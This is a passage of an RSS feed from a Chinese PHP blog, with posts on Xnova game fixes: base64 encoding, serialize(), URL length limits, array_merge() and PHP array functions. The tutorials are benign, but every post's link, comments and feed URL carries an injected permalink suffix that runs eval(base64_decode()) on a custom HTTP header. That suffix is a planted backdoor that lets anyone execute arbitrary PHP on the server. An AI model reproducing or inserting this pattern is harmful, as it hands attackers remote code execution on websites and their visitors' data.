]]></description>
			<content:encoded><![CDATA[<p>Xnova Fix：Xnova探测消息直接导入到模拟器功能，数组已经序列化好了，但是不能直接通过URL方式传递。原因是序列化后的字符串里面有一些引号，构造URL或者使用的时候，里面引号不能很好的解决。这个时候需要将字符串以BASE64编码，此编码方式可以让我们的URL在网络上顺利传输。<br />
<span id="more-944"></span></p>
<p>在 BASE64 编码后的字符串只包含英文字母大小写、阿拉伯数字、加号与反斜线，共 64 个基本字符，不包含其它特殊的字符。编码后的字符串比原来的字符串长度再加 1/3 左右，基本上不会太长。</p>
<p>具体的使用方法很简单，使用base64_encode(string data)编码，然后传递；接收后，使用base64_decode(string encoded_data)解码，得到序列化字符串。</p>
<p>至此，探测消息直接导入到模拟器功能中，所有的技术问题都解决了，相当的麻烦。可能还有更好的方法，我没有想到。</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/17/xnova-fixphp-base64-code-%e7%bc%96%e7%a0%81/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xnova Fix:PHP 序列化(serialize)数组</title>
		<link>http://blog.debye.org/2009/06/16/xnova-fixphp-%e5%ba%8f%e5%88%97%e5%8c%96serialize%e6%95%b0%e7%bb%84/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/16/xnova-fixphp-%e5%ba%8f%e5%88%97%e5%8c%96serialize%e6%95%b0%e7%bb%84/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 03:32:24 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[Xnova Fix]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[xnova]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=940</guid>
		<description><![CDATA[Xnova Fix：Xnova探测消息直接导入到模拟器功能，需要把数组传递到另外页面，测试过很多种方式，最后使用序列化数组方式。具体的流程是：先序列化(serialize)数组，传递后再反序列化(unserialize)成数组，数组直接能使用了。网上也有很多自己写的序列化数组的函数，但是PHP既然有这样的功能，那么就用吧。

我对Xnova的系统参数做了序列化，保存成文件，使用的时候，直接unserialize；效率提高了很多，起码不用访问数据库了。
下面是简单的说明，当然Google能得到更多信息
(PHP 3>= 3.0.5, PHP 4 , PHP 5)
serialize &#8212;  产生一个可存储的值的表示
serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。
这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。
想要将已序列化的字符串变回 PHP 的值，可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组／对象中的引用也将被存储。
当序列化对象时，PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用 unserialize() 恢复对象时， 将调用 __wakeup() 成员函数。
 注: 在 PHP 3 中，对象属性将被序列化，但是方法则会丢失。PHP 4 打破了此限制，可以同时存储属性和方法。请参见类与对象中的序列化对象部分获取更多信息。 
]]></description>
			<content:encoded><![CDATA[<p>Xnova Fix：Xnova探测消息直接导入到模拟器功能，需要把数组传递到另外页面，测试过很多种方式，最后使用序列化数组方式。具体的流程是：先序列化(serialize)数组，传递后再反序列化(unserialize)成数组，数组直接能使用了。网上也有很多自己写的序列化数组的函数，但是PHP既然有这样的功能，那么就用吧。<br />
<span id="more-940"></span></p>
<p>我对Xnova的系统参数做了序列化，保存成文件，使用的时候，直接unserialize；效率提高了很多，起码不用访问数据库了。<br />
下面是简单的说明，当然Google能得到更多信息<br />
(PHP 3>= 3.0.5, PHP 4 , PHP 5)<br />
serialize &#8212;  产生一个可存储的值的表示</p>
<p>serialize() 返回字符串，此字符串包含了表示 value 的字节流，可以存储于任何地方。</p>
<p>这有利于存储或传递 PHP 的值，同时不丢失其类型和结构。</p>
<p>想要将已序列化的字符串变回 PHP 的值，可使用 unserialize()。serialize() 可处理除了 resource 之外的任何类型。甚至可以 serialize() 那些包含了指向其自身引用的数组。你正 serialize() 的数组／对象中的引用也将被存储。</p>
<p>当序列化对象时，PHP 将试图在序列动作之前调用该对象的成员函数 __sleep()。这样就允许对象在被序列化之前做任何清除操作。类似的，当使用 unserialize() 恢复对象时， 将调用 __wakeup() 成员函数。</p>
<p> 注: 在 PHP 3 中，对象属性将被序列化，但是方法则会丢失。PHP 4 打破了此限制，可以同时存储属性和方法。请参见类与对象中的序列化对象部分获取更多信息。 </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/16/xnova-fixphp-%e5%ba%8f%e5%88%97%e5%8c%96serialize%e6%95%b0%e7%bb%84/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xnova Fix:URL最大长度是多少</title>
		<link>http://blog.debye.org/2009/06/16/xnova-fixurl%e6%9c%80%e5%a4%a7%e9%95%bf%e5%ba%a6%e6%98%af%e5%a4%9a%e5%b0%91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/16/xnova-fixurl%e6%9c%80%e5%a4%a7%e9%95%bf%e5%ba%a6%e6%98%af%e5%a4%9a%e5%b0%91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 01:43:36 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[Xnova Fix]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[xnova]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=936</guid>
		<description><![CDATA[Xnova Fix：Xnova探测消息直接导入到模拟器功能，需要用到页面传递大数值，经过试验并测试，我最后选择了使用GET方式传值。但是同时遇到一个问题，URL长度的最大值是多少？在Google大神的帮助下，得到资料如下：

一.URL不能大于255bytes的说法确实存在，在RFC2616中提到：
The HTTP protocol does not place any a priori limit on the length of a URI????. Servers MUST be able to handle the URI of any resource they serve, and SHOULD be able to handle URIs of unbounded length if they provide GET-based forms that could generate such URIs. A server SHOULD return 414 [...]]]></description>
			<content:encoded><![CDATA[<p>Xnova Fix：Xnova探测消息直接导入到模拟器功能，需要用到页面传递大数值，经过试验并测试，我最后选择了使用GET方式传值。但是同时遇到一个问题，URL长度的最大值是多少？在Google大神的帮助下，得到资料如下：<br />
<span id="more-936"></span><br />
<strong>一.URL不能大于255bytes的说法确实存在，在RFC2616中提到：</strong></p>
<p>The HTTP protocol does not place any a priori limit on the length of a URI????. Servers MUST be able to handle the URI of any resource they serve, and SHOULD be able to handle URIs of unbounded length if they provide GET-based forms that could generate such URIs. A server SHOULD return 414 (Request-URI Too Long) status if a URI is longer than the server can handle (see section 10.4.15).</p>
<p>Note: Servers ought to be cautious about depending on URI lengths above 255 bytes, because some older client or proxy implementations might not properly support these lengths.</p>
<p><strong>二.从上一点也可以看出，255bytes的说法也是为了兼容性考虑。实际上现代浏览器的限制如下：</strong></p>
<p><strong>Microsoft Internet Explorer (Browser)</strong><br />
Microsoft states that the maximum length of a URL in Internet Explorer is 2,083 characters, with no more than 2,048 characters in the path portion of the URL. In my tests, attempts to use URLs longer than this produced a clear error message in Internet Explorer.</p>
<p><strong>Firefox (Browser)</strong><br />
After 65,536 characters, the location bar no longer displays the URL in Windows Firefox 1.5.x. However, longer URLs will work. I stopped testing after 100,000 characters.</p>
<p><strong>Safari (Browser)</strong><br />
At least 80,000 characters will work. I stopped testing after 80,000 characters.</p>
<p><strong>Opera (Browser)</strong><br />
At least 190,000 characters will work. I stopped testing after 190,000 characters. Opera 9 for Windows continued to display a fully editable, copyable and pasteable URL in the location bar even at 190,000 characters.</p>
<p><strong>Apache (Server)</strong><br />
My early attempts to measure the maximum URL length in web browsers bumped into a server URL length limit of approximately 4,000 characters, after which Apache produces a “413 Entity Too Large” error. I used the current up to date Apache build found in Red Hat Enterprise Linux 4. The official Apache documentation only mentions an 8,192-byte limit on an individual field in a request.</p>
<p><strong>Microsoft Internet Information Server</strong><br />
The default limit is 16,384 characters (yes, Microsoft’s web server accepts longer URLs than Microsoft’s web browser). This is configurable.</p>
<p><strong>Perl HTTP::Daemon (Server)</strong><br />
Up to 8,000 bytes will work. Those constructing web application servers with Perl’s HTTP::Daemon module will encounter a 16,384 byte limit on the combined size of all HTTP request headers. This does not include POST-method form data, file uploads, etc., but it does include the URL. In practice this resulted in a 413 error when a URL was significantly longer than 8,000 characters. This limitation can be easily removed. Look for all occurrences of 16×1024 in Daemon.pm and replace them with a larger value. Of course, this does increase your exposure to denial of service attacks.</p>
<p><strong>三.另外值得注意的是，有文章提到作为href属性时，URL不能超过1024bytes，这点已经有网友证实</strong></p>
<p>看来URL还是不适合太长，不是不得已，尽量不要通过GET方式提交大量参数，可以考虑用POST方式（大约在2M左右，应该是和服务器及设定有关）。另外这么长的URL在访问和收藏（有文章提到有些浏览器在收藏超长地址时也是会出现问题）时也是相当不友好的。我自己因为不能使用POST，所以才用这种方式</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/16/xnova-fixurl%e6%9c%80%e5%a4%a7%e9%95%bf%e5%ba%a6%e6%98%af%e5%a4%9a%e5%b0%91/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xnova Fix:PHP合并数组函数array_merge()</title>
		<link>http://blog.debye.org/2009/06/16/xnova-fixphp%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%e5%87%bd%e6%95%b0array_merge/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/16/xnova-fixphp%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%e5%87%bd%e6%95%b0array_merge/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 01:26:47 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[Xnova Fix]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[xnova]]></category>

		<category><![CDATA[数组]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=932</guid>
		<description><![CDATA[Xnova Fix：Xnova探测消息直接导入到模拟器功能，需要用到数组合并功能，使用函数array_merge()。下面是详细的说明：
array_merge() 函数把两个或多个数组合并为一个数组。

如果键名有重复，该键的键值为最后一个键名对应的值（后面的覆盖前面的）。
注意：如果数组是数字索引的，则键名会以连续方式重新索引，字符索引将保持不变。
注释：如果仅仅向 array_merge() 函数输入了一个数组，且键名是整数，则该函数将返回带有整数键名的新数组，其键名以 0 开始进行重新索引。（参见例子 2）

1
2
3
4
5
语法
array array_merge &#40; array array1, array array2 &#91;, array ...&#93;&#41;
array1 	必需。输入的第一个数组。
array2 	必需。输入的第二个数组。
array3 	可选。可指定的多个输入数组。


1
2
3
4
5
6
7
8
9
例子 1
&#60;?php
$a1=array&#40;&#34;a&#34;=&#62;&#34;Horse&#34;,&#34;b&#34;=&#62;&#34;Dog&#34;&#41;;
$a2=array&#40;&#34;c&#34;=&#62;&#34;Cow&#34;,&#34;b&#34;=&#62;&#34;Cat&#34;&#41;;
print_r&#40;array_merge&#40;$a1,$a2&#41;&#41;;
?&#62;
&#160;
输出：
Array ( [a] =&#62; Horse [b] =&#62; Cat [c] =&#62; Cow )


1
2
3
4
5
6
7
8
9
10
例子 2
仅使用一个数组参数：
&#160;
&#60;?php
$a=array&#40;3=&#62;&#34;Horse&#34;,4=&#62;&#34;Dog&#34;&#41;;
print_r&#40;array_merge&#40;$a&#41;&#41;;
?&#62;
&#160;
输出：
Array ( [0] =&#62; Horse [1] =&#62; Dog )

]]></description>
			<content:encoded><![CDATA[<p>Xnova Fix：Xnova探测消息直接导入到模拟器功能，需要用到数组合并功能，使用函数array_merge()。下面是详细的说明：<br />
array_merge() 函数把两个或多个数组合并为一个数组。<br />
<span id="more-932"></span><br />
如果键名有重复，该键的键值为最后一个键名对应的值（后面的覆盖前面的）。<br />
<font color="#ff0000">注意：如果数组是数字索引的，则键名会以连续方式重新索引，字符索引将保持不变。</font></p>
<p>注释：如果仅仅向 array_merge() 函数输入了一个数组，且键名是整数，则该函数将返回带有整数键名的新数组，其键名以 0 开始进行重新索引。（参见例子 2）</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">语法
<span style="color: #990000;">array</span> <span style="color: #990000;">array_merge</span> <span style="color: #009900;">&#40;</span> <span style="color: #990000;">array</span> array1<span style="color: #339933;">,</span> <span style="color: #990000;">array</span> array2 <span style="color: #009900;">&#91;</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span> <span style="color: #339933;">...</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span>
array1 	必需。输入的第一个数组。
array2 	必需。输入的第二个数组。
array3 	可选。可指定的多个输入数组。</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">例子 1
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$a1</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;a&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Horse&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;b&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Dog&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$a2</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;c&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Cow&quot;</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;b&quot;</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Cat&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array_merge</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a1</span><span style="color: #339933;">,</span><span style="color: #000088;">$a2</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
输出：
Array ( [a] =&gt; Horse [b] =&gt; Cat [c] =&gt; Cow )</pre></td></tr></table></div>


<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">例子 2
仅使用一个数组参数：
&nbsp;
<span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$a</span><span style="color: #339933;">=</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Horse&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">4</span><span style="color: #339933;">=&gt;</span><span style="color: #0000ff;">&quot;Dog&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">print_r</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array_merge</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$a</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span>
&nbsp;
输出：
Array ( [0] =&gt; Horse [1] =&gt; Dog )</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://blog.debye.org/2009/06/16/xnova-fixphp%e5%90%88%e5%b9%b6%e6%95%b0%e7%bb%84%e5%87%bd%e6%95%b0array_merge/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Xnova Fix:PHP数组入门</title>
		<link>http://blog.debye.org/2009/06/16/xnova-fixphp%e6%95%b0%e7%bb%84%e5%85%a5%e9%97%a8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://blog.debye.org/2009/06/16/xnova-fixphp%e6%95%b0%e7%bb%84%e5%85%a5%e9%97%a8/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 17 Jun 2009 01:04:40 +0000</pubDate>
		<dc:creator>debye</dc:creator>
		
		<category><![CDATA[Ogame网页游戏]]></category>

		<category><![CDATA[PHP学习]]></category>

		<category><![CDATA[Xnova Fix]]></category>

		<category><![CDATA[计算机技术]]></category>

		<category><![CDATA[PHP]]></category>

		<category><![CDATA[xnova]]></category>

		<category><![CDATA[数组]]></category>

		<guid isPermaLink="false">http://www.debye.org/?p=920</guid>
		<description><![CDATA[Xnova Fix：最近在新增Xnova中，探测消息直接导入到模拟器功能，需要用到数组操作。我学习PHP是以目的驱动的，用到的时候，才学习相关的知识，不然这么多的PHP函数我们该怎么学习？在这里提醒大家的是手册要常备！下面是从网上找的资料，PHP数组函数一般归为以下几类：

Outputting arrays
Creating arrays
Testing for an array
Locating array elements
Traversing arrays
Determining array size and element uniqueness
Sorting arrays
Merging, slicing, splicing, and dissecting arrays
Outputting arrays
print_r()
不熟悉这个的我就不想多说了！最基本的函数，当然要输出数组也可是使用循环结构输出，不过有这么方便的输出函数干吗不用呢！
Creating arrays
array()
这个函数我也不想说了，这其实只能算语言结构，大家在新建数组的时候都用到过，没用过的我只能说，兄弟，我无语了！
list()
这个函数和上面提到的 array()一样，只是个语言结构，它通过一步操作给一组变量赋值！
具体示例请查看手册！
range();
array range ( mixed low, mixed high[, number step] )
建立一个包含指定范围单元的数组
示例： $arr =range(0, 6);
相当于 $arr =array(0, 1, 2, 3, 4, 5, 6);
一般数据按从低到高排列，如果 low> high，则从高到低排列；
Testing for an array
is_array();
测试变量是否array类型，是则返回true，不是则返回false，很基本，很实用的函数！
Adding and removing array elements
array_push()
int array_push ( [...]]]></description>
			<content:encoded><![CDATA[<p>Xnova Fix：最近在新增Xnova中，探测消息直接导入到模拟器功能，需要用到数组操作。我学习PHP是以目的驱动的，用到的时候，才学习相关的知识，不然这么多的PHP函数我们该怎么学习？在这里提醒大家的是手册要常备！下面是从网上找的资料，PHP数组函数一般归为以下几类：<br />
<span id="more-920"></span><br />
<strong>Outputting arrays<br />
Creating arrays<br />
Testing for an array<br />
Locating array elements<br />
Traversing arrays<br />
Determining array size and element uniqueness<br />
Sorting arrays<br />
Merging, slicing, splicing, and dissecting arrays</strong></p>
<p><strong>Outputting arrays</strong><br />
print_r()<br />
不熟悉这个的我就不想多说了！最基本的函数，当然要输出数组也可是使用循环结构输出，不过有这么方便的输出函数干吗不用呢！</p>
<p><strong>Creating arrays</strong><br />
array()<br />
这个函数我也不想说了，这其实只能算语言结构，大家在新建数组的时候都用到过，没用过的我只能说，兄弟，我无语了！<br />
list()<br />
这个函数和上面提到的 array()一样，只是个语言结构，它通过一步操作给一组变量赋值！<br />
具体示例请查看手册！<br />
range();<br />
array range ( mixed low, mixed high[, number step] )<br />
建立一个包含指定范围单元的数组<br />
示例： $arr =range(0, 6);<br />
相当于 $arr =array(0, 1, 2, 3, 4, 5, 6);<br />
一般数据按从低到高排列，如果 low> high，则从高到低排列；</p>
<p>Testing for an array<br />
is_array();<br />
测试变量是否array类型，是则返回true，不是则返回false，很基本，很实用的函数！</p>
<p><strong>Adding and removing array elements</strong><br />
array_push()<br />
int array_push ( array &#038;target_array,mixed var [, mixed ...] )<br />
将一个或多个单元从末尾添加至数组！返回新数组的单元总数！<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$states =array( ‘Ohio’ , ‘New York’ );<br />
array_push ( $states , ‘California’ , ‘Texas’ );<br />
//output: array((‘Ohio’,‘New York’ , ‘California’,‘Texas’);</p>
<p>array_pop();<br />
弹出并返回数组的最后一个单元，并将数组长度减一。使用后会重置数组指针！<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$states =array( ‘Ohio’ , ‘New York’ );<br />
$state = array_pop ( $states );<br />
//output: New York</p>
<p>array_shift();<br />
与array_pop类似，只不过它移出和返回的是数组的第一个值。数字键名将重新从零开始记数，文字键名则保持不变！</p>
<p>array_unshift();<br />
与array_push类似，只不过是从数组头部插入数据！数字键名将重新从零开始记数，文字键名则保持不变！</p>
<p>array_pad();<br />
array array_pad ( array input, intpad_size, mixed pad_value )<br />
用值将数组填充到指定长度!<br />
pad_size为正，则从右侧开始填补，为负，从左侧开始填补，小与数组长度，则保持数组不变！示例见手册！</p>
<p><strong>Locating array elements</strong><br />
in_array();<br />
检查数组中是否存在某个值，基础，不说了，具体见手册！</p>
<p>array_keys();<br />
array array_keys ( array input [,mixed search_value [, bool strict]] )<br />
返回数组中的所有键名。如果选定search_value，则返回选定的键名！自PHP 5]起，可以用strict参数来进行全等比较（ ===）。</p>
<p>array_key_exists();<br />
bool array_key_exists ( mixed key,array search )<br />
检查给定的键名或索引是否存在于数组中，存在则返回true。一些更具体的应用记得查看手册！</p>
<p>array_values();<br />
array array_values ( array input )<br />
与array_keys()类似！返回的是数组的所有键值！</p>
<p>array_search();<br />
mixed array_search ( mixed needle,array haystack [, bool strict] )<br />
在 haystack中搜索 needle参数并在找到的情况下返回键名，否则返回 FALSE 。<br />
如果needle是字符串，则比较区分大小写！<br />
如果strict是true，还得比较类型<br />
如果needle在haystack中出现不止一次，则返回第一个匹配的键。要返回所有匹配值的键，应该用array_keys()加上可选参数search_value来代替！</p>
<p><strong>Traversing arrays</strong><br />
key();<br />
mixed key ( array &#038;array )<br />
返回数组中当前单元的键名！</p>
<p>reset();<br />
重置数组的指针。</p>
<p>each();<br />
返回数组中当前单元的键 /值对，并将指针下移一位！</p>
<p>current();<br />
返回当前被内部指针指向的数组单元的值，并不移动指针。如果超出了单元列表的末端，则返回 false。</p>
<p>end();<br />
将 array的内部指针移动到最后一个单元并返回其值。</p>
<p>next();<br />
返回数组内部指针指向的下一个单元的值，或当没有更多单元时返回 FALSE 。</p>
<p>prev();<br />
返回数组内部指针指向的前一个单元的值，或当没有更多单元时返回 FALSE 。</p>
<p>array_walk();<br />
bool array_walk ( array &#038;array,callback funcname [, mixed userdata] )<br />
具体描述请参考手册！<br />
示例：</p>
<p>array_reverse();<br />
array array_reverse ( array array [,bool preserve_keys] )<br />
接受数组 array作为输入并返回一个单元为相反顺序的新数组，如果 preserve_keys为 TRUE 则保留原来的键名。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$states =array( ‘Delaware’ , ‘Pennsylvania’ , ‘New Jersey’ );<br />
print_r ( array_reverse ( $states ));<br />
//Array ([0]=>New Jersey [1]=>Pennsylvania[2]=>Delaware)<br />
$states = array( ‘Delaware’ , ‘Pennsylvania’ , ‘New   Jersey’ );<br />
print_r ( array_reverse ( $states , 1 ));<br />
//Array ([2]=>New Jersey [1]=>Pennsylvania[0]=>Delaware)</p>
<p>array_flip();<br />
array array_flip ( array trans )<br />
交换数组中的键 /值对，注意 trans 中的值需要能够作为合法的键名，例如需要是 integer 或者 string 。如果值的类型不对将发出一个警告，并且有问题的键／值对将不会反转。<br />
如果同一个值出现了多次，则最后一个键名将作为它的值，所有其它的都丢失了。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$trans =array( &#8220;a&#8221; => 1 , &#8220;b&#8221; => 1 , &#8220;c&#8221; => 2 );<br />
$trans = array_flip ( $trans );<br />
print_r ( $trans );<br />
//Array([1]=>b[2]=>c );</p>
<p><strong>Determining array size and element uniqueness</strong></p>
<p>count();<br />
计算数组中的单元数目或对象中的属性个数，很基本哦！</p>
<p>array_count_values();<br />
返回一个数组，该数组用input数组中的值作为键名，该值在input数组中出现的次数作为值。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$array= array( 1 , &#8220;hello&#8221; , 1 , &#8220;world&#8221; , &#8220;hello&#8221; );<br />
print_r ( array_count_values ( $array ));</p>
<p>array_unique();<br />
array array_unique ( array array )<br />
接受 array作为输入并返回没有重复值的新数组。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$input =array( &#8220;a&#8221; => &#8220;green&#8221; , &#8220;red&#8221; , &#8220;b&#8221; => &#8220;green&#8221; , &#8220;blue&#8221; , &#8220;red&#8221; );<br />
$result = array_unique ( $input );<br />
print_r ( $result );</p>
<p>详细用法请参见手册！</p>
<p><strong>Sorting arrays</strong><br />
sort();<br />
本函数对数组进行排序。当本函数结束时数组单元将被从最低到最高重新安排。<br />
注意 : 本函数为array中的单元赋予新的键名。这将删除原有的键名而不仅是重新排序。</p>
<p>natsort();<br />
利用自然排序法对数组进行排序！<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$array1 = $array2 = array( &#8220;img12.png&#8221; , &#8220;img10.png&#8221; , &#8220;img2.png&#8221; , &#8220;img1.png&#8221; );<br />
sort ( $array1 );<br />
echo &#8220;Standard sorting\n&#8221; ;<br />
print_r ( $array1 );</p>
<p>natsort ( $array2 );<br />
echo &#8220;\nNatural order sorting\n&#8221; ;<br />
print_r ( $array2 );</p>
<p>natcasesort();<br />
与 natsort()一致，除了不区分大小写！</p>
<p>rsort();<br />
与 sort()一致，这个是逆向排序。<br />
asort();<br />
与 sort()一直，但保持键名不变。<br />
array_multisort();<br />
对多个数组或多维数组进行排序，具体参考手册，有详细说明！<br />
arsort();<br />
与 rsort()类似，但保持键名不变。<br />
ksort();<br />
与 sort()类似，对键名进行排序。<br />
krsort();<br />
与 ksort()类似，但是逆向排序。<br />
usort();<br />
利用用户自定义函数对数组进行排序！</p>
<p><strong>Merging, slicing, splicing, and dissectingarrays</strong></p>
<p>array_combine();<br />
array array_combine ( array keys,array values )<br />
创建一个数组，用一个数组的值作为其键名，另一个数组的值作为其值</p>
<p>array_merge();<br />
array array_merge ( array array1 [,array array2 [, array ...]] )<br />
将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。<br />
如果输入的数组中有相同的字符串键名，则该键名后面的值将覆盖前一个值。<br />
然而，如果数组包含数字键名，后面的值将不会 覆盖原来的值，而是附加到后面。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$array1 =array( &#8220;color&#8221; => &#8220;red&#8221; , 2 , 4 );<br />
$array2 = array( &#8220;a&#8221; , &#8220;b&#8221; , &#8220;color&#8221; => &#8220;green&#8221; , &#8220;shape&#8221; => &#8220;trapezoid&#8221; , 4 );<br />
$result = array_merge ( $array1 , $array2 );<br />
print_r ( $result );</p>
<p>如果只给了一个数组并且该数组是数字索引的，则键名会以连续方式重新索引。<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$array1 = array();<br />
$array2 = array( 1 => &#8220;data&#8221; );<br />
$result = array_merge ( $array1 , $array2 );</p>
<p>如果你想完全保留原有数组并只想新的数组附加到后面，用+运算符：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$array1 = array();<br />
$array2 = array( 1 => &#8220;data&#8221; );<br />
$result = $array1 + $array2 ;</p>
<p>array_merge_recursive();<br />
array array_merge_recursive ( arrayarray1 [, array ...] )<br />
将一个或多个数组的单元合并起来，一个数组中的值附加在前一个数组的后面。返回作为结果的数组。<br />
如果输入的数组中有相同的字符串键名，则这些值会被合并到一个数组中去，这将递归下去，因此如果一个值本身是一个数组，本函数将按照相应的条目把它合并为另一个数组。然而，如果数组具有相同的数组键名，后一个值将不会覆盖原来的值，而是附加到后面。<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$ar1 = array( &#8220;color&#8221; =>array( &#8220;favorite&#8221; => &#8220;red&#8221; ), 5 );<br />
$ar2 = array( 10 , &#8220;color&#8221; => array( &#8220;favorite&#8221; => &#8220;green&#8221; , &#8220;blue&#8221; ));<br />
$result = array_merge_recursive ( $ar1 , $ar2 );<br />
print_r ( $result );</p>
<p>array_slice();<br />
array array_slice ( array array, intoffset [, int length [, bool preserve_keys]] )<br />
从数组中取出一段。<br />
如果offset非负，则序列将从array中的此偏移量开始。如果offset为负，则序列将从array中距离末端这么远的地方开始。<br />
如果给出了length并且为正，则序列中将具有这么多的单元。如果给出了length并且为负，则序列将终止在距离数组末端这么远的地方。如果省略，则序列将从offset开始一直到array的末端。<br />
示例：<br />
复制PHP内容到剪贴板<br />
PHP代码:<br />
$input = array( &#8220;a&#8221; , &#8220;b&#8221; , &#8220;c&#8221; , &#8220;d&#8221; , &#8220;e&#8221; );<br />
$output = array_slice ( $input , 2 );       // returns&#8221;c&#8221;, &#8220;d&#8221;, and &#8220;e&#8221;<br />
$output = array_slice ( $input , - 2 , 1 );   // returns &#8220;d&#8221;<br />
$output = array_slice ( $input , 0 , 3 );    // returns &#8220;a&#8221;,&#8221;b&#8221;, and &#8220;c&#8221;<br />
// note the differences in the array keys<br />
